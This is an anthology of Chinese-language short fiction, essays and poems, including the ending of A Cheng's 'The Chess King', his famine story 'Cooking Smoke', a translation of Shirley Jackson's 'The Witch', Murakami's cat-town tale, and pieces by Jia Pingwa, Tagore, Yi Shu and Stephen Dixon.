　　王一生的姿式没有变，仍旧是双手扶膝，眼平视着，像是望着极远极远的远处，又像是盯着极近的近处，瘦瘦的肩挑着宽大的衣服，土没拍干净，东一块儿，西一块儿。喉节许久才动一下。我第一次承认象棋也是运动，而且是马拉松，是多一倍的马拉松！我在学校时，参加过长跑，开始后的五百米，确实极累，但过了一个限度，就像不是在用脑子跑，而像一架无人驾驶飞机，又像是一架到了高度的滑翔机只管滑翔下去。可这象棋，始终是处在一种机敏的运动之中，兜捕对手，逼向死角，不能疏忽。我忽然担心起王一生的身体来。这几天，大家因为钱紧，不敢怎么吃，晚上睡得又晚，谁也没想到会有这么一个场面。看着王一生稳稳地坐在那里，我又替他睹一口气：死顶吧！我们在山上扛木料，两个人一根，不管路不是路，沟不是沟，也得咬牙，死活不能放手。谁若是顶不住软了，自己伤了不说，另一个也得被木头震得吐血。可这回是王一生一个人过沟坎儿，我们帮不上忙。我找了点儿凉水来，悄悄走近他，在他跟前一挡，他抖了一下，眼睛刀子似的看了我一下，一会儿才认出是我，就干干地笑了一下。我指指水碗，他接过去，正要喝，一个局号报了棋步。他把碗高高地平端着，水纹丝儿不动。他看着碗边儿，回报了棋步，就把碗缓缓凑到嘴边儿。这时下一个局号又报了棋步，他把嘴定在碗边儿，半晌，回报了棋步，才咽一口水下去，“咕”的一声儿，声音大得可怕，眼里有了泪花。他把碗递过来，眼睛望望我，有一种说不出的东西在里面游动，嘴角儿缓缓流下一滴水，把下巴和脖子上的土冲开一道沟儿。我又把碗递过去，他竖起手掌止住我，回到他的世界里去了。

　　我出来，天已黑了。有山民打着松枝火把，有人用手电筒照着，黄乎乎的，一团明亮。大约是地区的各种单位下班了，人更多了。狗也在人前蹲着，看人挂动棋子，眼神凄凄的，像是在担忧。几个同来的队上知青，各被人围了打听。不一会儿，“王一生”、“棋呆子”、“是个知青”、“棋是道家的棋”，就在人们嘴上传。我有些发噱，本想到人群里说说，但又止住了，随人们传吧，我开始高兴起来。这时墙上只有三局在下了。

　　忽然人群发一声喊。我回头一看，原来只剩了一盘，恰是与冠军的那一盘。盘上只有不多几个子儿。王一生的黑子儿远远近近地峙在对方棋营格里，后方老帅稳稳地呆着，尚有一“士”伴着，好像帝王与近侍在聊天儿，等着前方将士得胜回朝；又似乎隐隐看见有人在伺候酒宴，点起尺把长的红蜡烛，有人在悄悄地调整管弦，单等有人跪奏捷报，鼓乐齐鸣。我的肚子拖长了音儿在响，脚下觉得软了，就拣个地方坐下，仰头看最后的围猎，生怕有什么差池。

　　红子儿半天不动，大家不耐烦了，纷纷看骑车的人来没有，嗡嗡地响成一片。忽然人群乱起来，纷纷闪开。只见一老者，精光头皮，由旁人搀着，慢慢走出来，嘴嚼动着，上上下下看着八张定局残子。众人纷纷传着，这就是本届地区冠军，是这个山区的一个世家后人，这次“出山”玩玩儿棋，，不想就夺了头把交椅，评了这次比赛的大势，直叹棋道不兴。老者看完了棋，轻轻抻一抻衣衫，跺一跺土，昂了头，由人搀进棋场。众人都一拥而起。我急忙抢进了大门，跟在后面。只见老者进了大门，立定，往前看去。

　　王一生孤身一人坐在大屋子中央，瞪眼看着我们，双手支在膝上，铁铸一个细树椿，似无所见，似无所闻。高高的一盏电灯，暗暗地照在他脸上，眼睛深陷进去，黑黑的似俯视大千世界，茫茫宇宙。那生命像聚在一头乱发中，久久不散，又慢慢弥漫开来，灼得人脸热。众人都呆了，都不说话。外面传了半天，眼前却是一个瘦小黑魂，静静地坐着，众人都不禁吸了一口凉气。

　　半晌，老者咳嗽一下，底气很足，十分洪亮，在屋里荡来荡去。王一生忽然目光短了，发觉了众人，轻轻地挣了一下，却动不了。老者推开搀的人，向前迈了几步，立定，双手合在腹前摩挲了一下，朗声叫道：“后生，老朽身有不便，不能亲赴沙场。命人传棋，实出无奈。你小小年纪，就有这般棋道，我看了，汇道禅于一炉，神机妙算，先声有势，后发制人，遣龙治水，气贯阴阳，古今儒将，不过如此。老朽有幸与你接手，感触不少，中华棋道，毕竟不颓，愿与你做个忘年之交。老朽这盘棋下到这里，权做赏玩，不知你可愿意平手言和，给老朽一点面子？”

　　王一生再挣了一下，仍起不来。我和脚卵急忙过去，托住他的腋下，提他起来。他的腿仍是坐着的样子，直不了，半空悬着。我感到手里好像只有几斤的份量，就暗示脚卵把王一生放下，用手去揉他的双腿。大家都拥过来，老者摇头叹息着。脚卵用大手在王一生身上，脸上，脖子上缓缓地用力揉。半晌，王一生的身子软下来，靠在我们手上，喉咙嘶嘶地响着，慢慢把嘴张开，又合上，再张开，“啊啊”着。很久，才呜呜地说：“和了吧。”

　　老者很感动的样子，说：“今晚你是不是就在我那儿歇了？养息两天，我们谈谈棋？”王一生摇摇头，轻轻地说：“不了，我还有朋友。大家一起来的，还是大家在一起吧。我们到、到文化馆去，那里有个朋友。”画家就在人丛里喊：“走吧，到我那里去，我已经买好了吃的，你们几个一起去。真不容易啊。”大家慢慢拥了我们出来，火把一团儿照着。山民和地区的人层层团了，争睹棋王风采，又都点头儿叹息。

　　我搀了王一生慢慢走，光亮一直随着。进了文化馆，到了画家的屋子，虽然有人帮着劝散，窗上还是挤满了人，慌得画家急忙把一些画儿藏了。

　　人渐渐散了，王一生还有一些木。我忽然觉出左手还攥着那个棋子，就张了手给王一生看。王一生呆呆地盯着，似乎不认得，可喉咙里就有了响声，猛然“哇”地一声儿吐出一些粘液，呜呜地说：“妈，儿今天……妈！”大家都有些酸，扫了地下，打来水，劝了。王一生哭过，滞气调理过来，有了精神，就一起吃饭。画家竟喝得大醉，也不管大家，一个人倒在木床上睡去。电工领了我们，脚卵也跟着，一齐到礼堂台上去睡。

　　夜黑黑的，伸手不见五指。王一生已经睡死。我却还似乎耳边人声嚷动，眼前火把通明，山民们铁了脸，肩着柴禾林中走，咿咿呀呀地唱。我笑起来，想：不做俗人，哪儿会知道这般乐趣？家破人亡，平了头每日荷锄，却自有真人生在里面，识到了，即是幸，即是福。衣食是本，自有人类，就是每日在忙这个。可囿在其中，终于还不太像人。倦意渐渐上来，就拥了幕布，沉沉睡去。

炊烟

阿城

　　老张得了一个闺女。老张说，挺好，就是大了别长得像我，那可嫁不出去了。因此，女儿名美丽，自然姓张。

　　老张的大学同学都说，叫个美丽，没什么不好，就是俗了点。老张你也是读过书的人，怎么不能想个雅点儿的呢？

　　老张说，俗有什么不好？实惠。这年头你还想怎么着？结结实实的吧。

　　老张的同学说，结实？那叫矿石好了，叫火成岩，水成岩也成。咱们这行就是学了个结实。

　　老张在大学读的地质。

　　老张疼闺女。

　　老张抽烟。老张的老婆说，你要想要孩子，就把烟忌了，书上说，大人抽烟，会影响胎儿的基因。老张正抽到了一半儿，马上扔掉，用脚碾灭，戒了。美丽生出来了，老张买了一包烟。老张的老婆说，你叫美丽从小肺就是黑的吗？老张凄凄的样子。老张的老婆说，你抽吧，别在美丽的旁边儿抽。

　　美丽是冬天生的。春天了，老张的老婆抱着美丽出来晒太阳。起风了，老张说，还不回去，看吹着。老张的老婆说，不晒太阳，美丽吃的钙根本就吸收不了。老张说，那就屋里窗户边儿上晒嘛。老张的老婆说，紫外线透不过玻璃，人体吸收钙，靠的就是个紫外线，隔着玻璃，还不是白晒。老张说，那就等风停了。

　　老张瞧着老婆给美丽喂奶。老张的老婆书也念得不少，瞧老张老盯着，说，还没瞧够呀，又不是没瞧过。老张说，谁瞧你了，我是怕美丽吃不饱。俩人都笑了，美丽换过一口气，也笑了。

　　秋天了，美丽大了点儿，手会指东西，指妈妈，指爸爸，还会抓耳朵，抓妈妈的头发，抓爸爸的鼻子。

　　有一天，老张的老婆抱着美丽，老张在旁边挤眉弄眼，逗得美丽嘎嘎乐，两只小手儿奓着。老张的老婆把美丽凑到老张的脸前，美丽的手就伸进爸爸的嘴里。

　　说时迟，那时快，老张抬手就是一掌，把母女两个打了个趔趄。老张在地质队，天天握探锤打石头，手上总有百来斤的力气。老张的老婆没有提防，就跌到了。到底是母亲，着地的关头，一扭身仰着将美丽抓在胸口。

　　美丽大哭。老张的老婆脑后淌出血来，从来没有骂过人的人，骂人了，老张的老婆骂老张。

　　老张呆了，浑身哆嗦着，喘不出气来，汗从头上淌进领子里。

　　老张进了医院，两天一夜，才说出话来——

　　六零年，闹饥荒，饿死人，全国都闹，除了云南。那年，我毕业实习，进山找矿。

　　后来，我迷路了。有指南针，没用。我饿，我饿呀。慌，心慌，一慌就急。本来还会想，这下完了。一直就吃不够，体力差，肝里的糖说耗完就耗完。后来就出汗，后来汗也不出了。什么也不敢想，用脑子最消耗热量了。躺着。胃里冒酸水儿，杀得牙软。

　　后来，从肚子开始发热，脚心，脖子，指头尖儿，越来越烫。安徒生不是写过个卖火柴的小女孩儿吗？这个丹麦的老东西，他写得对。人饿死前，就是发热，热过了，就是死。

　　我没死。死了怎么还能跟你结婚？怎么还能有美丽？

　　我醒的时候，好半天才看得清东西。我瞧见远处有烟。当时，我只有一个念头儿，烧饭才会有烟。爬吧。

　　就别说怎么才爬到了吧。到了，是个人家。我趴在门口说，救个命吧，给口吃的吧。没人应。对，可能我的声音太小。我进去了。

　　灶前头靠着个人瘦得牙龇着，眼睛亮得吓人。我说，给口吃的。那人半天才摇摇头。我说，你就是我爷爷，祖宗，给口吃的吧。那人还是摇头。我说，你是说没有吗？那你这灶上烧的什么？喝口热水也行啊。那人眼泪就流下来了。

　　我不管了，伸手就把锅盖揭了。水气散了，我看见了，锅里煮着个小孩儿的手。

巫婆

雪莉 · 杰克逊

　　这节车厢几乎空了，让那个小男孩可以一个人坐一排座位，她妈妈坐在过道对面的座位上，跟小男孩的小妹妹在一起，这个婴儿一只手拿一块烤面包片，另一只手拿着一个拨浪鼓。她被一条带子安全地绑在座位上，她可以坐直身子，往周围看，她慢慢往旁边歪倒时，那条带子会拦住她，让她半倒不倒，直到她妈妈转身把她扶直。小男孩往窗外看，在吃一块饼干，那位妈妈在安静地读书，头也不抬地回答小男孩的问题。

　　“我们在一条河上。”小男孩说，“这是一条河，我们在上面。”

　　“好啊。”他妈妈说。

　　“我们在河上的一道桥上。”那个小男孩自言自语道。

　　别的很少几个人坐在这节车厢里的另一头，如果其中任何一个人有机会沿过道走过来，那个小男孩都会眼睛扫一圈，然后说：“嗨。”那个陌生人通常也会跟他说：“嗨。”有时候会问那个小男孩喜不喜欢坐火车，甚至会跟他说他是个不错的小男子汉。这些话会让小男孩不高兴，他会生气地又往窗外看。

　　“那里有头奶牛。”他会说或者叹口气说，“我们还要坐多远？”

　　“现在不是很远了。”每次他妈妈都这样说。

　　有一次，拿着拨浪鼓和烤面包片（她妈妈不时会给她一块又一块）而很安静也很忙的那个婴儿往边上歪得太远，撞到头哭了起来，她妈妈所坐的那里，一时又喧闹又忙乱。小男孩从自己的座位上出溜下来，走过过道拍拍妹妹的脚，求她别哭，最后那个婴儿笑了起来，又吃起烤面包片来，小男孩从妈妈那里得到一根棒棒糖后，又去车窗那里。

　　“我看到一个女巫。”过了一会儿，他对他妈妈说，“外面有个又老又丑又坏又老的大个子女巫。”

　　“好啊。”他妈妈说。

　　“一个又老又丑的大个子女巫，我让她走开，她就走开了。”小男孩又说，用的是安静地自言自语讲什么事的口吻。“她过来说：‘我要把你吃掉。’我说：‘不，你做不到。’我就把她赶跑了，那个可恶的老女巫。”

　　这节车厢外面那扇门开了，一个男人走进来，小男孩不吭声了，抬头去看。那是位已过中年的男人，样子长得讨人喜欢，白头发，他身上的蓝西装只是略微有点不整齐，是因为坐了挺久火车造成的。他拿着一根雪茄，小男孩说“嗨”时，那人用雪茄向他比划了一下并说：“你好啊，孩子。”他正好在小男孩的座位旁边停下脚步，小男孩伸长脖子往上看。“你在往窗户外面看什么？”那个男人问。

　　“巫婆。”小男孩马上说，“又老又坏的巫婆。”

　　“我明白了。”那个男人说，“看到了吗？”

　　“我爸爸抽雪茄。”小男孩说。

　　“男人都抽雪茄。”那个男人说，“有一天你也会。”

　　“我已经是个男人了。”小男孩说。

　　“你几岁了？”那个男人问。

　　听到这个永远有人问的问题，小男孩怀疑地看了那个男人一会儿，然后说：“二十六。八百四十八。”

　　他的妈妈不看书抬起头。“四岁。”她慈爱地看着小男孩说。

　　“是吗？”那个男人对小男孩有礼貌地说。“二十六。”他向隔着过道的小孩妈妈点了点头。“那是你妈妈？”

　　小男孩往前倾着身子看，然后说：“对，是她。”

　　“你叫什么？”那个男人问。

　　小男孩的脸上又露出怀疑。“耶稣先生。”他说。

　　“约翰尼。”小男孩的妈妈说。她等着与小男孩的视线相逢，紧皱着眉头。

　　“那是我妹妹。”小男孩跟那个男人说，“她十二岁半。”

　　“你爱你妹妹吗？”那个男人问。小男孩盯着看，然后那个男人绕过座位边，挨着小男孩坐下来。“哎。”那个男人说，“我给你讲讲我的小妹妹的故事好吗？”

　　那个男人挨着小男孩坐下来时，小男孩的妈妈本来不安地抬头看，这时又安静地去看书。

　　“跟我说说你妹妹吧。”小男孩说，“她是个巫婆吗？”

　　“也许。”那个男人说。

　　小男孩兴奋地哈哈大笑，那个男人往后靠着坐，抽了口他的雪茄。“以前，”他开始了，“我有过一个小妹妹，就像你的一样。”小男孩抬头看着那个人，听到每个词都点头。“我的小妹妹，”那个男人接着说，“长得很漂亮，很可爱，世界上我最最爱她了。所以我跟你说说我是怎么做的好不好？”

　　小男孩点头点得更起劲，他的妈妈从书本上抬起眼睛露出微笑，在听着。

　　“我给她买了一座摇马、一个玩具娃娃和上百万根棒棒糖。”那个男人说，“然后我把她拉过来，两只手掐着她的脖子，我把她掐啊掐啊，直到她断了气。”

　　小男孩倒抽一口凉气，他妈妈转过身，她的笑容正在消失。她张口要说，那个男人又说下去时，她嘴巴又合上了。“然后我把她拉过来，把她的头割下来，我拎着她的头。”

　　“你把她切成碎片了吗？”小男孩大气不敢出地说。

　　“我把她的头、手、脚、头发和鼻子割下来。”那个男人说，“我用棍子打她，把她打死了。”

　　“等一下。”小男孩的妈妈说，但是正在这时，那个婴儿往旁边歪倒了，等到小男孩的妈妈把她扶直时，那个男人又说起话来。

　　“然后我拎过她的头，把她的头发全都揪掉，然后——”

　　“你的小妹妹？”小男孩急切地提示。

　　“我的小妹妹。”那个男人语气肯定地说，“我把她的头放进一个笼子，里面有头熊，熊把她的头全吃了。”

　　“把她的头全吃了？”小男孩问。

　　小男孩的妈妈把书放下，走过过道，站在那个男人的旁边说：“你究竟以为你自己在干吗？”那个男人有礼貌地抬头看，她说：“滚开。”

　　“我吓坏你了吗？”那个男人问。他低头看着小男孩，用肘部捅了他一下，他和小男孩都哈哈大笑。

　　“这个人把他的小妹妹切碎了。”小男孩跟他妈妈说。

　　“我很容易就能叫列车员来。”小男孩的妈妈跟那个男的说。

　　“列车员会吃掉我妈妈。”小男孩说，“我们会把她的头剁了。”

　　“还有小妹妹的头。”那个男人说。他站起身，小男孩的妈妈往后站，让他从座位上出来。“再也别来这节车厢。”她说。

　　“我妈咪会把你吃了。”小男孩跟那个男人说。

　　那个男人哈哈大笑，小男孩也哈哈大笑，然后那个男人跟小男孩妈妈说：“借过。”然后从她身边走过，出了这节车厢。“我们还得在这辆老火车上待多久？”

　　“不会很久了。”那位妈妈说。她站在那里看着那个小男孩，想要说什么，最后她说：“你坐好点，当个好孩子。可以再给你一根棒棒糖。”

　　小男孩急切地从座位上爬下来，跟着妈妈回到她的座位那里。她从手袋里的一个袋子中取出一根棒棒糖。“你该怎么说？”她问。

　　“谢谢。”小男孩说，“那个人真的把他小妹妹切成碎片了吗？”

　　“他只是逗你玩。”他妈妈说着又急切地加了一句，“只是逗你玩。”

　　“很可能，”小男孩说。他拿着棒棒糖回到自己的座位那里，又开始往车窗外面看。“很可能他是个巫师。”

孤独地走向未来

贾平凹

　　好多人在说自己孤独，说自己孤独的人其实并不孤独。孤独不是受到了冷落和遗弃，而是无知己，不被理解。真正的孤独者不言孤独，偶尔作些长啸，如我们看到的兽。

　　弱者都是群居着，所以有芸芸众生。弱者奋斗的目的是转化为强者，像蛹向蛾的转化，但一旦转化成功了，就失去了原本满足和享受欲望的要求。国王是这样，名人是这样，巨富们的挣钱成了一种职业，种猪们的配种更不是为了爱情。

　　我见过相当多的郁郁寡欢者，也见过一些把皮肤和毛发弄得怪异的人，似乎要做孤独，这不是孤独，是孤僻，他们想成为六月的麦子，却在仅长出一尺余高就出穗孕粒，结的只是蝇子头般大的实。

　　每个行当里都有着孤独人，在文学界我遇到了一位。他的声名流布全国，对他的诽谤也铺天盖地，他总是默默，宠辱不惊，过着日子和进行着写作，但我知道他是孤独的。

　　“先生，”我有一天走近了他，说，“你想想，当一碗肉大家都在眼睛盯着并努力去要吃到，你却首先将肉端跑了，能避免不被群起而攻之吗？”

　　他听了我的话，没有说是或者不是，也没有停下来握一下我的手，突然间泪流满脸。

　　“先生，先生……”我撵着他还要说。

　　“我并不孤独。”他说，匆匆地走掉了。

　　我以为我要成为他的知己，但我失败了，那他为什么要流泪呢，“我并不孤独”又是什么意思呢？

　　一年后这位作家又出版了新作，在书中的某一页上我读到了“圣贤庸行，大人小心”八个字，我终于明白了，尘世并不会轻易让一个人孤独的，群居需要一种平衡，嫉妒而引发的诽谤，扼杀，羞辱，打击和迫害，你若不再脱颖，你将平凡，你若继续走，走，终于使众生无法赶超了，众生就会向你欢呼和崇拜，尊你是神圣。神圣是真正的孤独。

　　走向孤独的人难以接受怜悯和同情。

猫城的故事

村上春树

　　列车驶出东京站后，他拿出随身带着的文库本阅读。这是一本以旅行为主题的短篇小说集。其中有一篇，写的是一位青年男子去了一座由猫儿统治的小城旅行的故事。题目叫做《猫城》。这是一个充满幻想的故事，作者是一位没有听过的德国作家。导读中介绍说，小说写于第一次世界大战和第二次世界大战之间。

　　那位青年背着一只包，独自游历山水。他没有特定的目的地。坐上火车出游，有哪个地方引起他的兴趣，便在那里下车。投宿旅馆，游览街市，爱待多久就待多久。待到尽兴，再继续坐火车旅行。这是他一贯的度假方式。

　　车窗外出现了一条美丽的河。沿着蜿蜒的河流，平缓的绿色山岗连绵一线，山麓有座玲珑的小镇，给人静谧的感觉。一架古旧的石桥横跨河面。这幅景致诱惑着他的心。在这儿说不定能吃上美味的鳟鱼。列车刚在车站停下，青年便背着包跳下车。没有别的旅客在此下车。他刚下车，火车便扬长而去。

　　车站里没有站员。这里也许是个很清闲的车站。青年踱过石桥，走到镇里。小镇一片静寂，看不见一个人影。所有的店铺都紧闭着卷帘门，镇公所里也空无一人。唯一的宾馆里，服务台也没有人。他按响电铃，却没有一个人出来。看来完全是个无人小镇。要不然就是大家都躲起来睡午觉了。然而才上午十点半，睡午觉似乎太早了点。或许是出于某种理由，人们舍弃了这座小镇，远走他乡了。总之，在明天早晨之前，不会再有火车，他只能在这里过夜。他漫无目的地四下散步，消磨时光。

　　然而，这里其实是一座猫儿的小城。黄昏降临时，许多猫儿便走过石桥，来到镇子里。

　　各色花纹、各个品种的猫儿。它们要比普通猫儿大得多，可终究还是猫儿。青年看见这光景，心中一惊，慌忙爬到小镇中央的钟楼上躲起来。猫儿们轻车熟路，或是打开卷帘门，或是坐在镇公所的办公桌前，开始了各自的工作。没过多久，更多的猫儿同样越过石桥，来到镇里。猫儿们走进商店购物，去镇公所办理手续，在宾馆的餐厅用餐。它们在小酒馆里喝啤酒，唱着快活的猫歌。有的拉手风琴，有的和着琴声翩翩起舞。猫儿们夜间眼睛更好用，几乎不用照明。不过这天夜里，满月的银光笼罩小镇，青年在钟楼上将这些光景尽收眼底。将近天亮时，猫儿们关上店门，结束了各自的工作和事情，成群结队地走过石桥，回到原来的地方去了。

　　天亮了，猫儿们都走了，小镇又回到了无人状态，青年爬下钟楼，走进宾馆，自顾自地上床睡了一觉。肚子饿了，就吃宾馆厨房里剩下的面包和鱼。等到天开始暗下来，他再次爬上钟楼躲起来，彻夜观察猫儿们的行动，直到天亮。火车在上午和傍晚之前开来，停在站台上。乘坐上午的火车，可以向前旅行；而乘坐下午的火车，便能返回原来的地方。没有乘客在这个车站下车，也没有人从这个车站上车。但火车还是规规矩矩地在这儿停车，一分钟后再发车。只要愿意，他完全可以坐上火车，离开这座令人战栗的猫城。然而他没有这么做。他年轻，好奇心旺盛，又富于野心和冒险精神。他还想多看一看这座猫城奇异的景象。从何时起，又是为何，这里变成了猫城？这座猫城的结构又是怎么回事？猫儿们到底在这里做什么？如果可能，他希望弄清这些。亲眼目睹过这番奇景的，恐怕除了他再没有别人了。

　　第三天夜里，钟楼下的广场上发生了一场小小的骚动。

　　“你不觉得好像有人的气味吗？”一只猫儿说。

　　“这么一说，我真觉得这几天有一股怪味。”有猫儿抽动着鼻头赞同。“其实俺也感觉到啦。”又有谁附和着。

　　“可是奇怪呀，人是不可能到这儿来的。”有猫儿说。

　　“对，那是当然。人来不了这座猫城。”

　　“不过，的确有那帮家伙的气味呀。”

　　猫儿们分成几队，像自卫队一般，开始搜索小镇的每个角落。认真起来，猫儿们的鼻子灵敏极了。没用多少时间，它们便发现钟楼就是那股气味的来源。青年也听见了它们那柔软的爪子爬上台阶、步步逼近的声音。完蛋了，他想。猫儿们似乎因为人的气味极度兴奋，怒火中烧。它们个头很大，拥有锋锐的大爪子和尖利的白牙。而且这座小镇是人类不可涉足的场所。如果被抓住，不知会受到怎样的对待，不过，很难认为知道了它们的秘密，它们还会让他安然无恙地离开。

　　三只猫儿爬上了钟楼，使劲闻着气味。

　　“好怪啊。”其中一只微微抖动着长胡须，说，“明明有气味，却没人。”

　　“的确奇怪。”另一只说，“总之，这儿一个人也没有。再去别的地方找找。”

　　“可是，这太奇怪啦。”

　　于是，它们百思不解地离去了。猫儿们的脚步声顺着台阶向下，消失在夜晚的黑暗中。

　　青年松了一口气，也莫名其妙。要知道，猫儿们和他是在极其狭窄的地方遇见的，就像人们常说的，差不多鼻尖碰着鼻尖。不可能看漏。但不知为何，猫儿们似乎看不见他的身影。他把自己的手竖在眼前。看得清清楚楚，并没有变成透明的。不可思议。不管怎样，明早就去车站，得坐上午那趟火车离开小镇。留在这里太危险了。不可能一直有这样的好运气。

　　然而第二天，上午那趟列车没在小站停留。甚至没有减速，就那样从他的眼前呼啸而过。下午那趟火车也一样。他看见司机座上坐着司机，车窗里还有乘客们的脸，但火车丝毫没有表现出要停车的意思。正等车的青年的身影，甚至连同火车站，似乎根本没有映入人们的眼帘。下午那趟车的踪影消失后，周围陷入了前所未有的静寂。黄昏开始降临。很快就要到猫儿们来临的时刻了。他明白他丧失了自己。他终于醒悟了：这里根本不是什么猫城。这里是他注定该消失的地方，是为他准备的、不在这个世界上的地方。并且，火车永远不会再这个小站停车，把他带回原来的世界了。

三只野猫

简平

　　在我每天散步的那条幽静的小径上，时时都有三只猫在此出没。这是三只野猫，一只是黑猫，一只是黄猫，还有一只是白猫。我不知道它们是不是一伙的，但我总能同时看到它们的身影。

　　那只黑猫是三只猫里个子最大的，也最有力气，奇怪的是，它似乎不喜欢在地上行走，而总是在围墙的最高处或蹲伏或转悠，一副君临天下的样子。黄猫身上有着很好看的斑纹，但它并不理会，哪里脏就往哪里钻，它跑动的速度极快，让我惊讶的是它会在跑动中突然停下，而后打起滚来，弄得尘土飞扬。最乖的是那只白猫，瘦瘦小小的，好像也特别胆小，老是独自远远地伏在草丛中。小径极少有人来往，所以，我的出现让三只野猫一下子变得焦躁不安。黑猫在高高的围墙上一动不动地盯着我；黄猫猛地蹿上树去，摇落一树枝叶；白猫则更深地躲进草丛的暗影里。这样严重的隔阂，让我生出一种无奈的叹息，多少年来，人与动物之间的和谐，更多的由于人类所加之的伤害而被破坏了。

　　我尽量不去打搅它们。黑猫在围墙上冷冷地盯着我看，我向它投去善意的微笑，有时还轻轻地向它摆摆手，打打招呼。黄猫在泥地里打着滚，我加快步子走开，让它自由自在地享受自己的快乐。每当经过白猫躲藏着的草丛时，我尽可能地把脚步放得更轻更轻，以免让它陡然受到惊吓。渐渐地，我发现它们已然明白我是一个不会攻击它们的友好人士了。它们一定是认识我了，所以在我散步的时候，非但不再惶恐不安，而且还陪伴起我来，或者悠悠地跟在我的后面，或者静静地趴在小径边上看着我。有一天，它们甚至还跟我开起了玩笑，在我往前面走去时，它们蓦然间跳到小径中央，故意一个一个紧挨着，挡住我的去路；而当我距离它们仅半步之遥时，它们这才调皮地逃开去，让我不禁笑出声来。这样的时候，我感觉到安详与温馨的氛围在天地间荡漾开去。

　　可我有时也会为它们生气，因为它们太爱打架了。事实上，我根本搞不清楚它们是真打还是在闹着玩儿，但有一天，我断然干预了它们的混战。那天，黑猫和黄猫打得昏天黑地，那只白猫则跳出草丛，在一边围观，表现得很是兴奋。黑猫和黄猫厮打着，扭在一起，突然，我看见黄猫的脸上被黑猫抓出了血痕。我想，这难道就是野猫的习性吗？即使每天朝夕相处，也会为了一点小事而大打出手？想到所有的野猫都是可以被驯化的，我忍不住上前喝住了它们，我只是使劲地一跺脚，它们便识相地即刻停止纠扯，随后迅速地逃之夭夭。虽然我看不到它们的身影了，但我还是像上小学时老师教育我那样，对着空茫的小径苦口婆心地讲了一通团结友爱、互帮互助的大道理。

　　没有想到的是，有一天，我会对它们肃然起敬。小径边上的一户人家新养了一条大狗，它十分霸道，不管是人还是野猫，甚或它的同类经过，它都汹汹地杀将过来，狂吠不已。小径失去了往日的宁静，也令我的散步失去了不少的愉悦。那天早上，我刚踏上小径，却出乎意料地看到了不同寻常的一幕：那条狗对着蹲在邻近草丛里的白猫一刻不停地啸叫着，每一声都像要撕裂天空，让人都感到了没有自尊的屈辱。忽然，黑猫迅速地翻下围墙，黄猫奋蹄踢开落叶，白猫则勇敢地跃出草丛，三只野猫昂首挺胸地蹲成一排，以沉默直视着狂吠的大狗，不畏不怯。相持许久之后，最终，那条狗无趣地停止了吠叫，悻悻地掉头离去。我想，这或许是小径历史上第一次上演的蔑视强权的壮观戏剧。

　　前几天傍晚，我去散步时，看见小径上竟然躺了一只很小很小的死猫，成群的苍蝇在它上面哄来哄去。我顿时停下了脚步，心里有些凄惶，害怕得起了一身鸡皮疙瘩。我禁不住四下找寻那三只野猫的身影。只见它们各自躲在远处，既不出声，也不跑跳，我掠过它们匆匆回家的时候，发现它们的眼神里尽是惊恐和哀伤。我想，至少有一段时间我不会再到小径来散步了，因为那只可怜的死猫不知道何时才会得到处置，而这条小径向来是没人打扫的，即使有人路过，看到了，也只会像我这样匆忙逃离，惟恐避之不及，而绝不可能为一只素不相识的小猫掘一个小坑，把它掩埋掉。那天夜晚，我无法入睡，心里全是不安，我牵挂着小径，也牵挂着那只不幸的小猫。第二天一早，不知为什么，我控制不住自己，再次去到那里。小径上，那只死去的小猫已经不见了踪影，而那三只野猫却仍旧在我的身边蹿过来蹿过去。我一点不知道那天晚上小径上发生了什么，但我固执地相信，一定是那三只野猫合力移走了它们的同类，并给了它一个体面的葬礼。此时此刻，望着它们，我的眼眶不禁有些热了。

玩具

泰戈尔

　　孩子，你真是快活呀，一早晨坐在泥土里，耍着折下来的小树枝儿。

　　我微笑地看你在那里耍着那根折下来的小树枝儿。

　　我正忙着算帐，一小时一小时在那里加叠数字。

　　也许你在看我，想道：这种好没趣的游戏，竟把你的一早晨的好时间浪费掉了！

　　孩子，我忘了聚精会神玩耍树枝与泥饼的方法了。

　　我寻求贵重的玩具，收集金块与银块。

　　你呢，无论找到什么便去做你的快乐的游戏，

　　我呢，却把我的时间与力气都浪费在那些我永不能得到的东西上。

　　我在我的脆薄的独木船里挣扎着要航过欲望之海，竟忘了我也是在那里做游戏了。

与人为友

亦舒

　　有些人生气时．会发誓不再与人类做朋友，情愿接近狗与猫、花与草、山与水。

　　不知道会不会太偏激。

　　人与人相处，自古是一项艺术，人之中当然有坏人有奸人、有恶人！也有种特别爱占小便宜的人，又有爱把喜乐建筑在他人不快上的人。

　　但好人还是不少，不必因噎废食。

　　太平盛世，自由社会，一个人把另外一个人害得冢散人亡的机会相当之低，小事何用耿耿于怀。

　　禽兽不如，狠心狗肺之类的控诉亦不宜在日常生活中频频使用。

　　猫狗固然可爱温驯，且又听从主人命令，但交朋友，还是人类好。

　　不是没有办法应付的，兵来将当、你虞我诈、虚与蛇委、统统都是一艮方。

　　真正吃不消，还可以走为上著，断绝来往。

　　毋须心灰意冷，与全人类断绝邦交！百步之内．必有芳草。

　　对他人要求也不宜太高，世人没有完人，谁也不该要求谁忠、孝、义齐备。

签名

斯蒂芬 · 狄克逊

　　我太太死了，现在只剩下我一个人了。我亲吻她的双手，然后走出病房。我顺着甬道走下去时，一个护士从后面追上来。

　　“你现在是不是要处理死者的后事了？”她说。

　　“不。”

　　“那你要我们怎么处理尸体？”

　　“火化。”

　　“那不归我们管。”

　　“捐赠做实验好了。”

　　“那你得签一些法律文件。”

　　“拿来给我。”

　　“那需要一点儿时间，你在会客室等，好吗？”

　　“我没时间。”

　　“还有她的盥洗用具、收音机和衣服。”

　　“我得走了。”

　　我按下电梯的按钮。

　　“你不能这样走了。”

　　“我就是要这样。”

　　升降梯的门开了。

　　“医生，医生。”

　　她大喊一位正在护理室翻阅档案的医生。医生站起来，问：“怎么回事，护士？”

　　电梯的门关上了。在距离大厅还有几层楼时，又打开了，我继续往下走。旋转门旁边坐着一个安全警卫，在我走进分成四格的旋转门其中一格时，他的对讲机响了起来。

　　“拉斯洛。”他对着对讲机说。

　　这时候，我已经走到外面了。

　　“嗨，你！”他说。

　　我回过身，他点点头，指着我，招手要我回去。我穿过马路走到公车站。他把对讲机插入口袋，朝我走过来。

　　“他们要你回楼上去签一些文件。”他说。

　　“太迟了，她死了，我孤零零一个人。我吻过她的手了，你们可以保留她的身体，我只想离开这儿远远的，愈快愈好。”

　　“他们要我带你回去。”

　　“你不能那么做，这里是公共街道，只有警察才能带我回去，甚至我觉得警察也没有这个权力。”

　　“我现在就去找一个来。”

　　公车来了，车门打开，我有刚刚好的零钱，于是我走上去，把钱投入票箱。

